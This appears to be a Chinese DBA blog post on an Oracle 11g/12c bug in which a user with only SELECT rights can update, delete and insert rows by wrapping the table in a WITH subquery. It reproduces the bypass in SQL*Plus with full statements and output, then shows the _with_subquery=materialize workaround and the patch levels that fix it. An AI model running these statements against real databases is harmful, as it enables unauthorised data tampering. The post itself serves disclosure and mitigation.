oracle解决方案_with_subquery=materialize或者psu(2014.07以后)

最近网上流传的通过with绕过权限实现非法更新表数据,存在较大风险.对于cpu bug在2014年07月份psu中修复,建议升级对应psu,如果条件不允许,可以通过_with_subquery参数临时规避该风险
数据库版本信息
SQL> select * from v$version;
 
BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
PL/SQL Release 11.2.0.4.0 - Production
CORE    11.2.0.4.0      Production
TNS for Linux: Version 11.2.0.4.0 - Production
NLSRTL Version 11.2.0.4.0 - Production
 
[oracle@localhost ~]$ opatch lsinventory
Oracle Interim Patch Installer version 11.2.0.3.4
Copyright (c) 2012, Oracle Corporation.  All rights reserved.
 
 
Oracle Home       : /u01/app/oracle/product/11.2.0/db_1
Central Inventory : /u01/app/oraInventory
   from           : /u01/app/oracle/product/11.2.0/db_1/oraInst.loc
OPatch version    : 11.2.0.3.4
OUI version       : 11.2.0.4.0
Log file location : /u01/app/oracle/product/11.2.0/db_1/cfgtoollogs/opatch/opatch2015-05-25_20-38-37PM_1.log
 
Lsinventory Output file location : /u01/app/oracle/product/11.2.0/db_1/
cfgtoollogs/opatch/lsinv/lsinventory2015-05-25_20-38-37PM.txt
 
--------------------------------------------------------------------------------
Installed Top-level Products (1):
 
Oracle Database 11g                                                  11.2.0.4.0
There are 1 products installed in this Oracle Home.
 
 
There are no Interim patches installed in this Oracle Home.
 
 
--------------------------------------------------------------------------------
 
OPatch succeeded.
该数据库版本为11.2.0.4,未安装任何psu补丁

根据恩墨的测试重新bug信息
可以参考原link:Oracle数据库高危漏洞警告！
SQL> conn chf/xifenfei
Connected.
SQL> create table t_dml as select * from dba_users;
 
Table created.
 
SQL> create user xifenfei_dml identified by "www.xifenfei.com";
 
User created.
 
SQL> grant create session to xifenfei_dml;
 
Grant succeeded.
 
SQL> grant select on chf.t_dml to xifenfei_dml;
 
Grant succeeded.
 
SQL>
 
SQL> grant select on chf.t_dml to xifenfei_dml;
 
Grant succeeded.
 
SQL> conn xifenfei_dml/"www.xifenfei.com"
Connected.
 
SQL>  select count(*) from chf.t_dml;
 
  COUNT(*)
----------
        32
 
SQL>  select username,user_id from chf.t_dml where rownum <= 2;
 
USERNAME                          USER_ID
------------------------------ ----------
SYS                                     0
SYSTEM                                  5
 
SQL> update chf.t_dml set username='www.xifenfei.com' where user_id = 5;
update chf.t_dml set username='www.xifenfei.com' where user_id = 5
           *
ERROR at line 1:
ORA-01031: insufficient privileges
 
SQL> update(with tmp as (select user_id,username from chf.t_dml)
  2  select user_id,username from tmp) set username='www.xifenfei.com' where user_id=5;
 
1 row updated.
 
SQL> commit;
 
Commit complete.
 
SQL> select username,user_id from chf.t_dml where rownum <= 2;
 
USERNAME                          USER_ID
------------------------------ ----------
SYS                                     0
www.xifenfei.com                        5
 
SQL> delete (with tmp as (select user_id,username from chf.t_dml)
  2   select user_id,username from tmp)  where user_id=5;
 
1 row deleted.
 
SQL> commit;
 
Commit complete.
 
SQL> select username,user_id from chf.t_dml where user_id=5;
 
no rows selected
 
SQL> insert into  (with tmp as (select * from chf.t_dml)
  2   select * from tmp) select * from chf.t_dml where rownum<10;
 
9 rows created.
 
SQL> commit;
 
Commit complete.
 
SQL> select count(*) from chf.t_dml;
 
  COUNT(*)
----------
        40
这里确实证明了,在没有dml情况下,可以通过with方式实现dml操作,从而实现无更改记录用户实现dml操作,数据库存在安全隐患,通过查询mos等相关信息,确定该bug影响数据库11.2.0.3，11.2.0.4,12.1.0.1等常见版本

对于不能及时升级的用户使用_with_subquery参数临时规避该bug
这个隐含参数的含义是在用with子句查询的时候，将 查询结果物化成temp表，（其实这也是我们常用with子句的目的，物化、缓存结果集）
SQL> conn / as sysdba
Connected.
SQL> col name for a52
col value for a24
SQL> SQL> col description for a50
set linesize 150
SQL> SQL> select a.ksppinm name,b.ksppstvl value,a.ksppdesc description
  2    from x$ksppi a,x$ksppcv b
 where a.inst_id = USERENV ('Instance')
  3    4     and b.inst_id = USERENV ('Instance')
  5     and a.indx = b.indx
  6     and upper(a.ksppinm) LIKE upper('%¶m%')
  7  order by name
/  8 
Enter value for param: _WITH_SUBQUERY
old   6:    and upper(a.ksppinm) LIKE upper('%¶m%')
new   6:    and upper(a.ksppinm) LIKE upper('%_WITH_SUBQUERY%')
 
NAME                                                 VALUE                    DESCRIPTION
---------------------------------------------------- ------------------------ ------------------------------
_with_subquery                                       OPTIMIZER                WITH subquery transformation
 
 
 
SQL> alter system  set "_with_subquery"=materialize;
 
System altered.
                             
 
SQL> alter system  set "_with_subquery"=materialize;
 
System altered.
 
SQL> insert into  (with tmp as (select * from chf.t_dml)
  2   select * from tmp) select * from chf.t_dml where rownum<10;
insert into  (with tmp as (select * from chf.t_dml)
             *
ERROR at line 1:
ORA-01732: data manipulation operation not legal on this view
 
 
SQL> delete (with tmp as (select user_id,username from chf.t_dml)
  2   select user_id,username from tmp)  where user_id=5;
delete (with tmp as (select user_id,username from chf.t_dml)
       *
ERROR at line 1:
ORA-01732: data manipulation operation not legal on this view
 
 
SQL> update(with tmp as (select user_id,username from chf.t_dml)
  2  select user_id,username from tmp) set username='www.xifenfei.com' where user_id=5;
update(with tmp as (select user_id,username from chf.t_dml)
      *
ERROR at line 1:
ORA-01732: data manipulation operation not legal on this view
该漏洞在2014年7月的CPU中被修正,以下psu中包含了该cpu补丁,如果条件允许,建议尽快升级如下版本
Version 12.1.0.1.4 or later
Version 11.2.0.4.3 or later
Version 11.2.0.3.11 or later
Version 11.1.0.7.20 or later